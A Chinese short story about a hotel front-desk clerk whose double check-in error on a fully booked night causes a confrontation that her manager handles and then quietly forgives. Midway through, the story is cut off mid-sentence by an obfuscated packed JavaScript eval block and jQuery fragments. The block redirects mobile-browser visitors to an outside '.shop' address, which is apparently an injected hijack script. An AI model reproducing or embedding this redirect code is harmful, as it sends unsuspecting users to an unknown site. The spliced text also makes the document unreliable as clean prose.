晚上九点，林深刷卡进员工通道的时候，就感觉不对。前台电话在响，礼宾电话也在响，大厅里站着一排拖着行李箱的客人。还没走到前台，Helen已经看见她，第一句话。
“今天满房。”
林深愣了一下。
“满了？”
“满了。”
Helen把房态图转过来，整个屏幕几乎全红。林深站在那里看了两秒，忽然有种陌生感。疫情以后，她已经很久没见过这样的房态了。Helen喝了口咖啡。
“解封第三天，正常。”
正常。可前台一点都不正常。
晚上十点，入住高峰正式开始。电话，客人，会员升级，房型调整，延迟退房，加床，各种事情一起涌过来。大厅越来越吵，礼宾来回跑，Coco也被排进了前台，三个人一起办入住。Helen在后面处理VIP和投诉。
十一点，排队的人已经快排到大门口。林深低头敲键盘，刷身份证，核会员，发房卡，签字，解释早餐时间，解释电梯位置，解释停车，一遍又一遍，连喝水的时间都没有。电话还在响，旁边客人已经开始催。
“快一点。”
“我赶时间。”
“还有多久？”
声音混在一起，像永远不会结束。
凌晨十二点，大厅终于短暂空了一点。林深低头看房态，只剩最后几间房。她伸手点开其中一个房间，安排，发卡，办理，整个动作已经形成肌肉记忆。旁边Coco也在办入住，速度很快，谁都没注意彼此屏幕。两分钟后，又一批客人进来，前台重新排队，事情继续往前推。没有人发现任何问题。
凌晨一点，两个人同时从电梯下来。一个男客人，一个女客人，两个人脸色都不好看，直接走到前台。
“谁是经理？”
大厅瞬间安静了一点。林深抬头，心里忽然咯噔一下。
“您好，请问有什么问题吗？”
男客人把房卡拍在桌上。
“你问她。”
女客人脸已经气红了。
“我刷卡进去，房间里有人。”
男客人立刻接上。
“我洗澡洗一半，她开门进来了。”
前台彻底安静。后面排队客人全部抬头。Helen放下手里的电话，走了过来。林深脑子嗡了一下。她已经知道发生什么了。Double Check In。最不想发生的事情，还是发生了。
两个客人根本不给解释机会。
“这就是五星级酒店？”
“隐私怎么办？”
“安全怎么办？”
“你们怎么管理的？”
“房卡为什么都能开门？”
一句接一句，根本停不下来。Helen立刻接过话。
“非常抱歉，这是我们的失误，我们马上处理。”
男客人根本不听。
“处理？我在房间洗澡！要是我老婆在里面呢？要是我孩子在里面呢？”
女客人也气得不行。
“我半夜被陌生男人看见怎么办？你们谁负责？”
后面排队的客人越来越多，整个大厅都在看。礼宾不敢说话，Coco站在旁边，脸色发白。林深站在那里，一句一句道歉，一句一句解释，却觉得所有声音都离自己越来越远。她只看见Helen，一直在道歉，一直在赔礼，一直在处理。客人骂林深，Helen挨着。客人骂酒店，Helen接着。整整二十分钟，没有停过。最后升级房型，免房费，送水果，送
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17841633|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
行政酒廊，能给的几乎全给了，事情才终于压下去。
两个客人离开以后，大厅重新恢复运转。后面的客人继续入住，电话继续响，房卡继续发，好像什么都没发生。只有林深知道，事情已经发生了。
凌晨两点，最后一个入住办完，大厅终于空下来。Helen坐回电脑前，继续做夜审，像刚刚那场风暴从来没出现过。林深打开Opera，开始查记录——时间，房号，入住顺序，操作记录，一条一条往下看。几分钟后，她停住了。找到了。真的是自己。不是系统，不是客人，不是Coco，是自己。
那一刻，她忽然不知道该说什么。Helen喝了口咖啡。
“查出来了？”
“嗯。”
“谁的？”
林深盯着屏幕，过了几秒。
“我的。”
前台安静下来。空调还在吹，电脑风扇轻轻响着。Helen没说话，只是看了一眼记录，又看了一眼她，然后点点头。
“下次注意。”
说完继续看报表。没有骂，没有训，没有开会，什么都没有。反而让人更难受。
凌晨三点，夜审结束。Helen起身去打印文件，回来的时候，顺手把一杯咖啡放到林深旁边。什么都没说，又坐回自己的位置，继续工作。林深低头看着那杯咖啡，没有动。大厅很安静，房态图亮在屏幕上，满房，所有房间都亮着。她忽然想起刚来酒店的时候，每天盼着客人多一点，盼着生意好一点，盼着酒店热闹一点。现在终于热闹了，可她一点都开心不起来。
电话忽然又响了。林深愣了一下，伸手接起来。
“您好。”
声音和平时一样，听不出任何问题。只有她自己知道，手心全是汗。